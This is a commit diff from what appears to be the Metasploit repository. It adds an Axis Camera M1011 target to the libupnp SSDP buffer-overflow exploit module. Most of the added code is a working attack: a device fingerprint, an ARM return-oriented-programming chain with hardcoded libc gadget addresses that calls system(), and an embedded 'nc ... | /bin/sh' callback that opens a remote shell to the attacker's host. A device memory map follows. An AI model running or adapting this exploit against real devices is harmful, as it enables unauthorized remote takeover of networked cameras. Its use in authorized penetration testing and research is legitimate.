Skip to content

Commit 63940d4

Browse files
committed
add new target in libupnp_ssdp_overflow exploit : Axis Camera M1011
1 parent e624ed1 commit 63940d4

File tree

1 file changed

+122
-1
lines changed

1 file changed

+122
-1
lines changed

modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb

Lines changed: 122 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,8 @@ def initialize(info = {})
2525
'Author' => [
2626
'hdm', # Exploit dev for Supermicro IPMI
2727
'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI
28-
'Richard Harman <richard[at]richardharman.com>' # Binaries, system info, testing for Supermicro IPMI
28+
'Richard Harman <richard[at]richardharman.com>', # Binaries, system info, testing for Supermicro IPMI
29+
'Frederic Basse <contact[at]fredericb.info>' # Exploit dev for Axis Camera M1011
2930
],
3031
'License' => MSF_LICENSE,
3132
'References' =>
@@ -90,6 +91,21 @@ def initialize(info = {})
9091

9192
# Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)
9293

94+
} ],
95+
[ "Axis Camera M1011 5.20.1 UPnP/1.4.1", {
96+
97+
# The callback handles all target-specific settings
98+
:callback => :target_axis_m1011_141,
99+
100+
# This matches any line of the SSDP M-SEARCH response
101+
:fingerprint =>
102+
/SERVER:\s*Linux\/2\.6\.31, UPnP\/1\.0, Portable SDK for UPnP devices\/1\.4\.1/mi
103+
#
104+
# SSDP response:
105+
# Linux/2.6.31, UPnP/1.0, Portable SDK for UPnP devices/1.4.1
106+
# http://192.168.xx.xx:49152/rootdesc1.xml
107+
# uuuid:Upnp-BasicDevice-1_0-00123456789A::upnp:rootdevice
108+
93109
} ],
94110

95111
[ "Debug Target", {
@@ -223,6 +239,111 @@ def target_supermicro_ipmi_131
223239

224240
end
225241

242+
# These devices are armv5tejl, run version 1.4.1 of libupnp, have random stacks, but no PIE on libc
243+
def target_axis_m1011_141
244+
245+
# Create a fixed-size buffer for the payload
246+
buffer = Rex::Text.rand_text_alpha(2000)
247+
248+
# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
249+
buffer[0,1] = '"'
250+
buffer[1999,1] = '"'
251+
252+
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
253+
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
254+
255+
# Start a listener
256+
start_listener()
257+
258+
# Figure out the port we picked
259+
cbport = self.service.getsockname[2]
260+
261+
# Initiate a callback connection
262+
cmd = "sleep 1; /usr/bin/nc #{cbhost} #{cbport}|/bin/sh;exit;#"
263+
buffer[1, cmd.length] = cmd
264+
265+
# Mask to avoid forbidden bytes, popped into $r4
266+
buffer[284,4] = [0x0D0D0D0D].pack("V")
267+
268+
# Move $r4 to $r0
269+
buffer[304,4] = [0x40093848].pack("V")
270+
#MEMORY:40093848 MOV R0, R4
271+
#MEMORY:4009384C LDMFD SP!, {R4,PC}
272+
273+
# Masked system() address (0x32FB9D83 + 0x0D0D0D0D = 0x4008AA90), popped into $r4
274+
buffer[308,4] = [0x32FB9D83].pack("V")
275+
276+
# Set $r0 to system() address : $r0 = $r4 + $r0
277+
buffer[312,4] = [0x40093844].pack("V")
278+
#MEMORY:40093844 ADD R4, R4, R0
279+
#MEMORY:40093848 MOV R0, R4
280+
#MEMORY:4009384C LDMFD SP!, {R4,PC}
281+
282+
# Move $r0 to $r3 : system() address
283+
buffer[320,4] = [0x400D65BC].pack("V")
284+
#MEMORY:400D65BC MOV R3, R0
285+
#MEMORY:400D65C0 MOV R0, R3
286+
#MEMORY:400D65C4 ADD SP, SP, #0x10
287+
#MEMORY:400D65C8 LDMFD SP!, {R4,PC}
288+
289+
# Move $r2 to $r0 : offset to buffer[-1]
290+
buffer[344,4] = [0x400ADCDC].pack("V")
291+
#MEMORY:400ADCDC MOV R0, R2
292+
#MEMORY:400ADCE0 ADD SP, SP, #8
293+
#MEMORY:400ADCE4 LDMFD SP!, {R4-R8,PC}
294+
295+
# Negative offset to command str($r0 + 0xFFFFFEB2 = buffer[1]), popped into R4
296+
buffer[356,4] = [0xFFFFFEB2].pack("V")
297+
298+
# Set $r0 to command str offset : $r0 = $r4 + $r0
299+
buffer[376,4] = [0x40093844].pack("V")
300+
#MEMORY:40093844 ADD R4, R4, R0
301+
#MEMORY:40093848 MOV R0, R4
302+
#MEMORY:4009384C LDMFD SP!, {R4,PC}
303+
304+
# Jump to system() function
305+
buffer[384,4] = [0x4009FEA4].pack("V")
306+
#MEMORY:4009FEA4 MOV PC, R3
307+
308+
return buffer
309+
=begin
310+
00008000-0002b000 r-xp 00000000 1f:03 62 /bin/libupnp
311+
00032000-00033000 rwxp 00022000 1f:03 62 /bin/libupnp
312+
00033000-00055000 rwxp 00000000 00:00 0 [heap]
313+
40000000-4001d000 r-xp 00000000 1f:03 235 /lib/ld-2.9.so
314+
4001d000-4001f000 rwxp 00000000 00:00 0
315+
40024000-40025000 r-xp 0001c000 1f:03 235 /lib/ld-2.9.so
316+
40025000-40026000 rwxp 0001d000 1f:03 235 /lib/ld-2.9.so
317+
40026000-4002e000 r-xp 00000000 1f:03 262 /lib/libparhand.so
318+
4002e000-40035000 ---p 00008000 1f:03 262 /lib/libparhand.so
319+
40035000-40036000 rwxp 00007000 1f:03 262 /lib/libparhand.so
320+
40036000-4004a000 r-xp 00000000 1f:03 263 /lib/libpthread-2.9.so
321+
4004a000-40051000 ---p 00014000 1f:03 263 /lib/libpthread-2.9.so
322+
40051000-40052000 r-xp 00013000 1f:03 263 /lib/libpthread-2.9.so
323+
40052000-40053000 rwxp 00014000 1f:03 263 /lib/libpthread-2.9.so
324+
40053000-40055000 rwxp 00000000 00:00 0
325+
40055000-4016c000 r-xp 00000000 1f:03 239 /lib/libc-2.9.so
326+
4016c000-40173000 ---p 00117000 1f:03 239 /lib/libc-2.9.so
327+
40173000-40175000 r-xp 00116000 1f:03 239 /lib/libc-2.9.so
328+
40175000-40176000 rwxp 00118000 1f:03 239 /lib/libc-2.9.so
329+
40176000-40179000 rwxp 00000000 00:00 0
330+
40179000-4017a000 ---p 00000000 00:00 0
331+
4017a000-40979000 rwxp 00000000 00:00 0
332+
40979000-4097a000 ---p 00000000 00:00 0
333+
4097a000-41179000 rwxp 00000000 00:00 0
334+
41179000-4117a000 ---p 00000000 00:00 0
335+
4117a000-41979000 rwxp 00000000 00:00 0
336+
41979000-4197a000 ---p 00000000 00:00 0
337+
4197a000-42179000 rwxp 00000000 00:00 0
338+
42179000-4217a000 ---p 00000000 00:00 0
339+
4217a000-42979000 rwxp 00000000 00:00 0
340+
42979000-4297a000 ---p 00000000 00:00 0
341+
4297a000-43179000 rwxp 00000000 00:00 0
342+
bef4d000-bef62000 rw-p 00000000 00:00 0 [stack]
343+
=end
344+
345+
end
346+
226347
# Generate a buffer that provides a starting point for exploit development
227348
def target_debug
228349
buffer = Rex::Text.pattern_create(2000)

0 commit comments

Comments
 (0)